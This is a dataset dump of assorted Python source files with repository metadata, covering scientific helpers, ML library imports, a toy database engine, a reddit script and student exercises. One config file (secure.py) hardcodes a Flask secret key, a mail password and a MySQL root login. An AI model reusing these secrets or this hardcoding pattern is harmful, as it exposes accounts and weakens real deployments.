| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6a0c4454894632f570e8f7308cb8d060eed1f45
| 767
|
py
|
Python
|
modtox/Helpers/helpers.py
|
danielSoler93/modtox
|
757234140cc780f57d031b46d9293fc2bf95d18d
|
[
"Apache-2.0"
] | 4
|
2019-09-22T22:57:30.000Z
|
2020-03-18T13:20:50.000Z
|
modtox/Helpers/helpers.py
|
danielSoler93/ModTox
|
757234140cc780f57d031b46d9293fc2bf95d18d
|
[
"Apache-2.0"
] | 21
|
2019-09-16T11:07:13.000Z
|
2019-11-20T15:06:06.000Z
|
modtox/Helpers/helpers.py
|
danielSoler93/ModTox
|
757234140cc780f57d031b46d9293fc2bf95d18d
|
[
"Apache-2.0"
] | 2
|
2019-09-07T17:07:55.000Z
|
2020-03-18T13:20:52.000Z
|
import os
def retrieve_molecule_number(pdb, resname):
"""
IDENTIFICATION OF MOLECULE NUMBER BASED
ON THE TER'S
"""
count = 0
with open(pdb, 'r') as x:
lines = x.readlines()
for i in lines:
if i.split()[0] == 'TER': count += 1
if i.split()[3] == resname:
molecule_number = count + 1
break
return molecule_number
class cd:
"""Context manager for changing the current working directory"""
def __init__(self, newPath):
self.newPath = os.path.expanduser(newPath)
def __enter__(self):
self.savedPath = os.getcwd()
os.chdir(self.newPath)
def __exit__(self, etype, value, traceback):
os.chdir(self.savedPath)
| 23.96875
| 68
| 0.573664
| 93
| 767
| 4.55914
| 0.580645
| 0.132075
| 0.037736
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009542
| 0.316819
| 767
| 31
| 69
| 24.741935
| 0.799618
| 0.148631
| 0
| 0
| 0
| 0
| 0.006319
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.210526
| false
| 0
| 0.052632
| 0
| 0.368421
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6a5916da8516ca978c7505bb56075d47bacaa77
| 826
|
py
|
Python
|
tools/webcam/webcam_apis/nodes/__init__.py
|
ivmtorres/mmpose
|
662cb50c639653ae2fc19d3421ce10bd02246b85
|
[
"Apache-2.0"
] | 1
|
2022-02-13T12:27:40.000Z
|
2022-02-13T12:27:40.000Z
|
tools/webcam/webcam_apis/nodes/__init__.py
|
ivmtorres/mmpose
|
662cb50c639653ae2fc19d3421ce10bd02246b85
|
[
"Apache-2.0"
] | null | null | null |
tools/webcam/webcam_apis/nodes/__init__.py
|
ivmtorres/mmpose
|
662cb50c639653ae2fc19d3421ce10bd02246b85
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (c) OpenMMLab. All rights reserved.
from .builder import NODES
from .faceswap_nodes import FaceSwapNode
from .frame_effect_nodes import (BackgroundNode, BugEyeNode, MoustacheNode,
NoticeBoardNode, PoseVisualizerNode,
SaiyanNode, SunglassesNode)
from .helper_nodes import ModelResultBindingNode, MonitorNode, RecorderNode
from .mmdet_nodes import DetectorNode
from .mmpose_nodes import TopDownPoseEstimatorNode
from .xdwendwen_nodes import XDwenDwenNode
__all__ = [
'NODES', 'PoseVisualizerNode', 'DetectorNode', 'TopDownPoseEstimatorNode',
'MonitorNode', 'BugEyeNode', 'SunglassesNode', 'ModelResultBindingNode',
'NoticeBoardNode', 'RecorderNode', 'FaceSwapNode', 'MoustacheNode',
'SaiyanNode', 'BackgroundNode', 'XDwenDwenNode'
]
| 45.888889
| 78
| 0.74092
| 65
| 826
| 9.246154
| 0.476923
| 0.109817
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.175545
| 826
| 17
| 79
| 48.588235
| 0.882526
| 0.054479
| 0
| 0
| 0
| 0
| 0.263158
| 0.05905
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.466667
| 0
| 0.466667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
e6aa6635d278553660a8a5b50b4098367fae31a5
| 2,446
|
py
|
Python
|
composer/profiler/__init__.py
|
stanford-crfm/composer
|
4996fbd818971afd6439961df58b531d9b47a37b
|
[
"Apache-2.0"
] | null | null | null |
composer/profiler/__init__.py
|
stanford-crfm/composer
|
4996fbd818971afd6439961df58b531d9b47a37b
|
[
"Apache-2.0"
] | null | null | null |
composer/profiler/__init__.py
|
stanford-crfm/composer
|
4996fbd818971afd6439961df58b531d9b47a37b
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2021 MosaicML. All Rights Reserved.
"""Performance profiling tools.
The profiler gathers performance metrics during a training run that can be used to diagnose bottlenecks and
facilitate model development.
The metrics gathered include:
* Duration of each :class:`.Event` during training
* Time taken by the data loader to return a batch
* Host metrics such as CPU, system memory, disk and network utilization over time
* Execution order, latency and attributes of PyTorch operators and GPU kernels (see :doc:`profiler`)
The following example demonstrates how to setup and perform profiling on a simple training run.
.. literalinclude:: ../../../examples/profiler_demo.py
:language: python
:linenos:
:emphasize-lines: 6, 27-49
It is required to specify an output ``profiler_trace_file`` during :class:`.Trainer` initialization to enable profiling.
The ``profiler_trace_file`` will contain the profiling trace data once the profiling run completes. By default, the :class:`.Profiler`,
:class:`.DataloaderProfiler` and :class:`.SystemProfiler` will be active. The :class:`.TorchProfiler` is **disabled** by default.
To activate the :class:`.TorchProfiler`, the ``torch_profiler_trace_dir`` must be specified *in addition* to the ``profiler_trace_file`` argument.
The ``torch_profiler_trace_dir`` will contain the Torch Profiler traces once the profiling run completes. The :class:`.Profiler` will
automatically merge the Torch traces in the ``torch_profiler_trace_dir`` into the ``profiler_trace_file``, allowing users to view a unified trace.
The complete traces can be viewed by in a Google Chrome browser navigating to ``chrome://tracing`` and loading the ``profiler_trace_file``.
Here is an example trace file:
.. image:: https://storage.googleapis.com/docs.mosaicml.com/images/profiler/profiler_trace_example.png
:alt: Example Profiler Trace File
:align: center
Additonal details an be found in the Profiler Guide.
"""
from composer.profiler._event_handler import ProfilerEventHandler
from composer.profiler._profiler import Marker, Profiler
from composer.profiler._profiler_action import ProfilerAction
# All needs to be defined properly for sphinx autosummary
__all__ = [
"Marker",
"Profiler",
"ProfilerAction",
"ProfilerEventHandler",
]
Marker.__module__ = __name__
Profiler.__module__ = __name__
ProfilerAction.__module__ = __name__
ProfilerEventHandler.__module__ = __name__
| 44.472727
| 146
| 0.780867
| 326
| 2,446
| 5.665644
| 0.48773
| 0.070384
| 0.055225
| 0.043313
| 0.069302
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004265
| 0.137367
| 2,446
| 54
| 147
| 45.296296
| 0.87109
| 0.822976
| 0
| 0
| 0
| 0
| 0.112941
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.230769
| 0
| 0.230769
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6cd191f4e7eeaa1d075d528c9e2ada0827d674f
| 4,618
|
py
|
Python
|
HW2/dbsys-hw2/Database.py
|
yliu120/dbsystem
|
d1b008f411929058a34a1dd2c44c9ee2cf899865
|
[
"Apache-2.0"
] | null | null | null |
HW2/dbsys-hw2/Database.py
|
yliu120/dbsystem
|
d1b008f411929058a34a1dd2c44c9ee2cf899865
|
[
"Apache-2.0"
] | null | null | null |
HW2/dbsys-hw2/Database.py
|
yliu120/dbsystem
|
d1b008f411929058a34a1dd2c44c9ee2cf899865
|
[
"Apache-2.0"
] | null | null | null |
import json, io, os, os.path
from Catalog.Schema import DBSchema, DBSchemaEncoder, DBSchemaDecoder
from Query.Plan import PlanBuilder
from Storage.StorageEngine import StorageEngine
class Database:
"""
A top-level database engine class.
For now, this primarily maintains a simple catalog,
mapping relation names to schema objects.
Also, it provides the ability to construct query
plan objects, as well as wrapping the storage layer methods.
"""
checkpointEncoding = "latin1"
checkpointFile = "db.catalog"
def __init__(self, **kwargs):
other = kwargs.get("other", None)
if other:
self.fromOther(other)
else:
storageArgs = {k:v for (k,v) in kwargs.items() \
if k in ["pageSize", "poolSize", "dataDir", "indexDir"]}
self.relationMap = kwargs.get("relations", {})
self.defaultPageSize = kwargs.get("pageSize", io.DEFAULT_BUFFER_SIZE)
self.storage = kwargs.get("storage", StorageEngine(**storageArgs))
checkpointFound = os.path.exists(os.path.join(self.storage.fileMgr.dataDir, Database.checkpointFile))
restoring = "restore" in kwargs
if not restoring and checkpointFound:
self.restore()
def fromOther(self, other):
self.relationMap = other.relationMap
self.defaultPageSize = other.defaultPageSize
self.storage = other.storage
def close(self):
if self.storage:
self.storage.close()
# Database internal components
def storageEngine(self):
return self.storage
def bufferPool(self):
return self.storage.bufferPool if self.storage else None
def fileManager(self):
return self.storage.fileMgr if self.storage else None
# User API
# Catalog methods
def relations(self):
return self.relationMap.keys()
def hasRelation(self, relationName):
return relationName in self.relationMap
def relationSchema(self, relationName):
if relationName in self.relationMap:
return self.relationMap[relationName]
# DDL statements
def createRelation(self, relationName, relationFields):
if relationName not in self.relationMap:
schema = DBSchema(relationName, relationFields)
self.relationMap[relationName] = schema
self.storage.createRelation(relationName, schema)
self.checkpoint()
else:
raise ValueError("Relation '" + relationName + "' already exists")
def removeRelation(self, relationName):
if relationName in self.relationMap:
del self.relationMap[relationName]
self.storage.removeRelation(relationName)
self.checkpoint()
else:
raise ValueError("No relation '" + relationName + "' found in database")
# DML statements
# Returns a tuple id for the newly inserted data.
def insertTuple(self, relationName, tupleData):
if relationName in self.relationMap:
return self.storage.insertTuple(relationName, tupleData)
else:
raise ValueError("Unknown relation '" + relationName + "' while inserting a tuple")
def deleteTuple(self, tupleId):
self.storage.deleteTuple(tupleId)
def updateTuple(self, tupleId, tupleData):
self.storage.updateTuple(tupleId, tupleData)
# Queries
# Returns an empty query builder that can access the current database.
def query(self):
return PlanBuilder(db=self)
# Returns an iterable for query results, after initializing the given plan.
def processQuery(self, queryPlan):
return queryPlan.prepare(self)
# Save the database internals to the data directory.
def checkpoint(self):
if self.storage:
dbcPath = os.path.join(self.storage.fileMgr.dataDir, Database.checkpointFile)
with open(dbcPath, 'w', encoding=Database.checkpointEncoding) as f:
f.write(self.pack())
# Load relations and schema from an existing data directory.
def restore(self):
if self.storage:
dbcPath = os.path.join(self.storage.fileMgr.dataDir, Database.checkpointFile)
with open(dbcPath, 'r', encoding=Database.checkpointEncoding) as f:
other = Database.unpack(f.read(), self.storage)
self.fromOther(other)
# Database schema catalog serialization
def pack(self):
if self.relationMap is not None:
return json.dumps([self.relationMap, self.defaultPageSize], cls=DBSchemaEncoder)
@classmethod
def unpack(cls, buffer, storageEngine):
(relationMap, pageSize) = json.loads(buffer, cls=DBSchemaDecoder)
return cls(relations=relationMap, pageSize=pageSize, storage=storageEngine, restore=True)
if __name__ == "__main__":
import doctest
doctest.testmod()
| 31.848276
| 107
| 0.707016
| 524
| 4,618
| 6.204198
| 0.311069
| 0.067671
| 0.019994
| 0.035681
| 0.177176
| 0.121193
| 0.121193
| 0.076592
| 0.076592
| 0.059059
| 0
| 0.000271
| 0.19987
| 4,618
| 144
| 108
| 32.069444
| 0.879567
| 0.145518
| 0
| 0.177778
| 0
| 0
| 0.049578
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.055556
| 0.077778
| 0.433333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6ce056f0a84e4b655921e3c42a24774c81e07e4
| 619
|
py
|
Python
|
moderngl_window/resources/data.py
|
DavideRuzza/moderngl-window
|
e9debc6ed4a1899aa83c0da2320e03b0c2922b80
|
[
"MIT"
] | 142
|
2019-11-11T23:14:28.000Z
|
2022-03-29T08:37:03.000Z
|
moderngl_window/resources/data.py
|
DavideRuzza/moderngl-window
|
e9debc6ed4a1899aa83c0da2320e03b0c2922b80
|
[
"MIT"
] | 107
|
2019-10-31T20:31:45.000Z
|
2022-03-23T15:01:41.000Z
|
moderngl_window/resources/data.py
|
DavideRuzza/moderngl-window
|
e9debc6ed4a1899aa83c0da2320e03b0c2922b80
|
[
"MIT"
] | 36
|
2019-12-12T16:14:10.000Z
|
2022-01-18T22:58:21.000Z
|
"""
Registry general data files
"""
from typing import Any
from moderngl_window.resources.base import BaseRegistry
from moderngl_window.meta import DataDescription
class DataFiles(BaseRegistry):
"""Registry for requested data files"""
settings_attr = "DATA_LOADERS"
def load(self, meta: DataDescription) -> Any:
"""Load data file with the configured loaders.
Args:
meta (:py:class:`~moderngl_window.meta.data.DataDescription`): the resource description
Returns:
Any: The loaded resource
"""
return super().load(meta)
data = DataFiles()
| 23.807692
| 99
| 0.678514
| 69
| 619
| 6.014493
| 0.536232
| 0.101205
| 0.086747
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.227787
| 619
| 25
| 100
| 24.76
| 0.868201
| 0.390953
| 0
| 0
| 0
| 0
| 0.037736
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0.375
| 0
| 0.875
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 0
| null | 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
e6d6837b46baf712793275d6754e0dab0bf209be
| 602
|
py
|
Python
|
baseline/ns-vqa/reason/options/test_options.py
|
robinzixuan/Video-Question-Answering-HRI
|
ae68ffee1e6fc1eb13229e457e3b8e3bc3a11579
|
[
"MIT"
] | 52
|
2019-12-04T22:26:56.000Z
|
2022-03-31T17:04:15.000Z
|
reason/options/test_options.py
|
guxiwuruo/VCML
|
5a0f01a0baba238cef2f63131fccd412e3d7822b
|
[
"MIT"
] | 6
|
2020-08-25T07:35:14.000Z
|
2021-09-09T04:57:09.000Z
|
reason/options/test_options.py
|
guxiwuruo/VCML
|
5a0f01a0baba238cef2f63131fccd412e3d7822b
|
[
"MIT"
] | 5
|
2020-02-10T07:39:24.000Z
|
2021-06-23T02:53:42.000Z
|
from .base_options import BaseOptions
class TestOptions(BaseOptions):
"""Test Option Class"""
def __init__(self):
super(TestOptions, self).__init__()
self.parser.add_argument('--load_checkpoint_path', required=True, type=str, help='checkpoint path')
self.parser.add_argument('--save_result_path', required=True, type=str, help='save result path')
self.parser.add_argument('--max_val_samples', default=None, type=int, help='max val data')
self.parser.add_argument('--batch_size', default=256, type=int, help='batch_size')
self.is_train = False
| 43
| 107
| 0.699336
| 79
| 602
| 5.050633
| 0.493671
| 0.100251
| 0.130326
| 0.210526
| 0.260652
| 0.135338
| 0
| 0
| 0
| 0
| 0
| 0.005929
| 0.159468
| 602
| 14
| 108
| 43
| 0.782609
| 0.028239
| 0
| 0
| 0
| 0
| 0.210345
| 0.037931
| 0
| 0
| 0
| 0
| 0
| 1
| 0.111111
| false
| 0
| 0.111111
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6ddfeb2d231878165ecef38a814ab51e23d6978
| 412
|
py
|
Python
|
enan/__init__.py
|
mizuno-group/enan
|
3c9dbe60bebf98e384e858db56980928b5897775
|
[
"MIT"
] | null | null | null |
enan/__init__.py
|
mizuno-group/enan
|
3c9dbe60bebf98e384e858db56980928b5897775
|
[
"MIT"
] | null | null | null |
enan/__init__.py
|
mizuno-group/enan
|
3c9dbe60bebf98e384e858db56980928b5897775
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Wed Dec 25 15:46:32 2019
@author: tadahaya
"""
from .binom import BT
from .connect import Connect
from .fet import FET
from .gsea import GSEA
from .ssgsea import ssGSEA
__copyright__ = 'Copyright (C) 2020 MIZUNO Tadahaya'
__version__ = '1.0.3'
__license__ = 'MIT'
__author__ = 'MIZUNO Tadahaya'
__author_email__ = '[email protected]'
| 22.888889
| 56
| 0.662621
| 54
| 412
| 4.666667
| 0.648148
| 0.111111
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.062893
| 0.228155
| 412
| 18
| 57
| 22.888889
| 0.72956
| 0.186893
| 0
| 0
| 0
| 0
| 0.241158
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
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| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
e6e370a3613328a0a9c46c0e262a69e05fcae601
| 355
|
py
|
Python
|
pytorch_translate/models/__init__.py
|
Ayansam1152/translate
|
33d397fc25fb1072abd2975c77c602a2d031c6c4
|
[
"BSD-3-Clause"
] | 748
|
2018-05-02T17:12:53.000Z
|
2022-03-26T04:44:44.000Z
|
pytorch_translate/models/__init__.py
|
Ayansam1152/translate
|
33d397fc25fb1072abd2975c77c602a2d031c6c4
|
[
"BSD-3-Clause"
] | 352
|
2018-05-02T19:05:59.000Z
|
2022-02-25T16:54:27.000Z
|
pytorch_translate/models/__init__.py
|
Ayansam1152/translate
|
33d397fc25fb1072abd2975c77c602a2d031c6c4
|
[
"BSD-3-Clause"
] | 193
|
2018-05-02T17:14:56.000Z
|
2022-02-24T21:10:56.000Z
|
#!/usr/bin/env python3
import importlib
import os
# automatically import any Python files in the models/ directory
for file in sorted(os.listdir(os.path.dirname(__file__))):
if file.endswith(".py") and not file.startswith("_"):
model_name = file[: file.find(".py")]
importlib.import_module("pytorch_translate.models." + model_name)
| 29.583333
| 73
| 0.712676
| 49
| 355
| 4.979592
| 0.673469
| 0.122951
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003333
| 0.15493
| 355
| 11
| 74
| 32.272727
| 0.81
| 0.23662
| 0
| 0
| 0
| 0
| 0.118959
| 0.092937
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
e6e3cdee410d18c73bf42cae95012d7ea773e4ae
| 808
|
py
|
Python
|
app/config/secure.py
|
mapeimapei/awesome-flask-webapp
|
d0474f447a41e9432a14f9110989166c6595f0fa
|
[
"MIT"
] | 2
|
2020-05-08T15:58:44.000Z
|
2020-05-09T19:36:34.000Z
|
app/config/secure.py
|
mapeimapei/awesome-flask-webapp
|
d0474f447a41e9432a14f9110989166c6595f0fa
|
[
"MIT"
] | null | null | null |
app/config/secure.py
|
mapeimapei/awesome-flask-webapp
|
d0474f447a41e9432a14f9110989166c6595f0fa
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
__author__ = '带土'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:[email protected]:3306/awesome'
SECRET_KEY = '\x88D\xf09\x91\x07\x98\x89\x87\x96\xa0A\xc68\xf9\xecJ:U\x17\xc5V\xbe\x8b\xef\xd7\xd8\xd3\xe6\x98*4'
# Email 配置
MAIL_SERVER = 'smtp.exmail.qq.com'
MAIL_PORT = 465
MAIL_USE_SSL = True
MAIL_USE_TSL = False
MAIL_USERNAME = '[email protected]'
MAIL_PASSWORD = 'Bmwzy1314520'
MAIL_SUBJECT_PREFIX = '[鱼书]'
MAIL_SENDER = '鱼书 <[email protected]>'
# 开启数据库查询性能测试
SQLALCHEMY_RECORD_QUERIES = True
# 性能测试的阀值
DATABASE_QUERY_TIMEOUT = 0.5
SQLALCHEMY_TRACK_MODIFICATIONS = True
WTF_CSRF_CHECK_DEFAULT = False
SQLALCHEMY_ECHO = True
from datetime import timedelta
REMEMBER_COOKIE_DURATION = timedelta(days=30)
PROXY_API = 'http://ip.yushu.im/get'
# PERMANENT_SESSION_LIFETIME = 3600
| 22.444444
| 113
| 0.762376
| 125
| 808
| 4.664
| 0.792
| 0.036021
| 0.041166
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087258
| 0.106436
| 808
| 35
| 114
| 23.085714
| 0.720222
| 0.10396
| 0
| 0
| 0
| 0.052632
| 0.335655
| 0.208914
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.052632
| 0.052632
| 0
| 0.052632
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
e6e54d8b26245cebf1276442b433cc49edf1fc78
| 762
|
py
|
Python
|
caller_v3/app/api/v1/docker.py
|
tienthegainz/pipeline_executor_docker_call
|
b2b9478056e4b818f5963b0b266375fe6d39627a
|
[
"MIT"
] | null | null | null |
caller_v3/app/api/v1/docker.py
|
tienthegainz/pipeline_executor_docker_call
|
b2b9478056e4b818f5963b0b266375fe6d39627a
|
[
"MIT"
] | null | null | null |
caller_v3/app/api/v1/docker.py
|
tienthegainz/pipeline_executor_docker_call
|
b2b9478056e4b818f5963b0b266375fe6d39627a
|
[
"MIT"
] | null | null | null |
from typing import Any, List, Callable
from fastapi import APIRouter, HTTPException, status, BackgroundTasks
from app import schemas
from app.core import docker_client
import json
from copy import deepcopy
router = APIRouter()
@router.get("/images", response_model=schemas.DockerImageRespond)
def get_docker_image() -> Any:
images_list = docker_client.images.list(all=True)
return {
'images': [{'id': image.short_id, 'tags': image.tags} for image in images_list if image.tags]
}
@router.get("/volumes", response_model=schemas.DockerVolumeRespond)
def get_docker_volume() -> Any:
volumes_list = docker_client.volumes.list()
return {
'volumes': [{'id': volume.short_id, 'name': volume.name} for volume in volumes_list]
}
| 28.222222
| 99
| 0.732283
| 100
| 762
| 5.43
| 0.4
| 0.066298
| 0.073665
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153543
| 762
| 26
| 100
| 29.307692
| 0.84186
| 0
| 0
| 0.105263
| 0
| 0
| 0.052493
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.105263
| false
| 0
| 0.315789
| 0
| 0.526316
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
e6eadd6e5aefadc0d052f84f6f0acadbd4bc7e84
| 440
|
py
|
Python
|
lec2.py
|
widnerlr/isat252
|
4196a8b1c6f4c75c3f5d8f64164014103b695077
|
[
"MIT"
] | null | null | null |
lec2.py
|
widnerlr/isat252
|
4196a8b1c6f4c75c3f5d8f64164014103b695077
|
[
"MIT"
] | null | null | null |
lec2.py
|
widnerlr/isat252
|
4196a8b1c6f4c75c3f5d8f64164014103b695077
|
[
"MIT"
] | null | null | null |
"""
Your module description
"""
"""
this is my second py code
for my second lecture
"""
#print ('hello world') # this is a single line commment
# this is my second line comment
#print(type("123."))
#print ("Hello World".upper())
#print("Hello World".lower())
#print("hello" + "world" + ".")
#print(2**3)
#my_str = "hello world"
#print(my_str)
#my_str = "Tom"
#print(my_str)
my_int = 2
my_float = 3.0
print(my_int + my_float)
| 12.941176
| 56
| 0.638636
| 70
| 440
| 3.9
| 0.428571
| 0.18315
| 0.21978
| 0.102564
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022161
| 0.179545
| 440
| 34
| 57
| 12.941176
| 0.734072
| 0.656818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6ee7c4e821041f353c4df40b51b9e9fed815d11
| 325
|
py
|
Python
|
Part1/bot_read.py
|
Mildlyoffbeat/RedditBot-1
|
f65c3c4d0f3d6d3a468069d4a009b44a20e33797
|
[
"MIT"
] | null | null | null |
Part1/bot_read.py
|
Mildlyoffbeat/RedditBot-1
|
f65c3c4d0f3d6d3a468069d4a009b44a20e33797
|
[
"MIT"
] | null | null | null |
Part1/bot_read.py
|
Mildlyoffbeat/RedditBot-1
|
f65c3c4d0f3d6d3a468069d4a009b44a20e33797
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
import praw
reddit = praw.Reddit('mob-secondbot')
subreddit = reddit.subreddit("learnpython")
for submission in subreddit.hot(limit=5):
print("Title: ", submission.title)
print("Text: ", submission.selftext)
print("Score: ", submission.score)
print("---------------------------------\n")
| 25
| 48
| 0.618462
| 35
| 325
| 5.742857
| 0.628571
| 0.099502
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003534
| 0.129231
| 325
| 12
| 49
| 27.083333
| 0.706714
| 0.049231
| 0
| 0
| 0
| 0
| 0.256494
| 0.113636
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.125
| 0.5
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 1
|
e6ee864c778e3c7bd05d01ccaa072084d9d7a6f7
| 1,052
|
py
|
Python
|
17/kazuate_liar.cpp.py
|
Siketyan/Programming-I
|
0749c1ae045d53cd8a67f0de7ab13c26030ddd74
|
[
"Apache-2.0"
] | null | null | null |
17/kazuate_liar.cpp.py
|
Siketyan/Programming-I
|
0749c1ae045d53cd8a67f0de7ab13c26030ddd74
|
[
"Apache-2.0"
] | null | null | null |
17/kazuate_liar.cpp.py
|
Siketyan/Programming-I
|
0749c1ae045d53cd8a67f0de7ab13c26030ddd74
|
[
"Apache-2.0"
] | null | null | null |
from subprocess import Popen, PIPE, call
name = "kazuate_liar.o"
src = """
#include <iostream>
#include <random>
using namespace std;
int main()
{
random_device rd;
mt19937 mt(rd());
uniform_int_distribution<int> randfive(0, 4);
uniform_int_distribution<int> randint(1, 100);
int count = 0;
int num = randint(mt);
while (1)
{
int i;
cout << "数を当ててみて ";
cin >> i;
if (i < 1 || i > 100)
{
cout << "不正な入力です。" << endl;
continue;
}
count++;
bool liar = randfive(mt) == 0;
if (i == num)
{
cout << "正解です。おめでとう。 (" << count << " 回目)" << endl;
break;
}
else if ((liar && i > num) || i < num)
{
cout << "もっと大きいよ。" << endl;
}
else
{
cout << "もっと小さいよ。" << endl;
}
}
return 0;
}
""";
proc = Popen(["g++", "-o", name, "-x", "c++", "-"], stdin = PIPE);
proc.communicate(src.encode());
call(["./" + name]);
| 17.533333
| 66
| 0.439163
| 111
| 1,052
| 4.108108
| 0.522523
| 0.026316
| 0.096491
| 0.109649
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.029141
| 0.380228
| 1,052
| 59
| 67
| 17.830508
| 0.670245
| 0
| 0
| 0
| 0
| 0
| 0.834443
| 0.055186
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.021739
| 0
| 0.043478
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6fab2043b0b6fa907bee5da86873ddbf2cfe3cf
| 1,432
|
py
|
Python
|
platform/server/detect.py
|
leyyin/godot
|
68325d7254db711beaedddad218e2cddb405c42c
|
[
"CC-BY-3.0",
"MIT"
] | 24
|
2016-10-14T16:54:01.000Z
|
2022-01-15T06:39:17.000Z
|
platform/server/detect.py
|
leyyin/godot
